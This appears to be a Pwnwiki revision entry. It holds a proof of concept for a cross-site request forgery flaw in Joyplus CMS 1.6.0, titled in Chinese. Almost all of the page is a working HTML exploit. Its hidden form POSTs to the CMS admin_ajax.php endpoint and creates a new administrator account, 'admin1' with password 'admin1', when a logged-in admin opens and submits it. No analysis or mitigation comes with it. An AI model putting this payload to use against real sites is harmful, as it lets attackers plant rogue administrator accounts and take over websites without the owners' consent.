Pwnwiki: Created page with "==EXP==

            
2021-04-10T05:24:03Z
Created page with "==EXP== <pre> <html>   <body>   <script>history.pushState('', '', '/')</script>     <form action="http://192.168.126.129/joyplus-cms-master/joyplus-cms/manager/admin_ajax.php?..."
New page
==EXP==

<pre>

<html>

  <body>

  <script>history.pushState('', '', '/')</script>

    <form action="http://192.168.126.129/joyplus-cms-master/joyplus-cms/manager/admin_ajax.php?action=save&tab={pre}manager" method="POST">

      <input type="hidden" name="m&#95;id" value="" />

      <input type="hidden" name="flag" value="add" />

      <input type="hidden" name="m&#95;name" value="admin1" />

      <input type="hidden" name="m&#95;password" value="admin1" />

      <input type="hidden" name="m&#95;status" value="1" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>

</pre>

Joyplus cms 1.6.0 管理員賬戶新增CSRF漏洞 - Revision history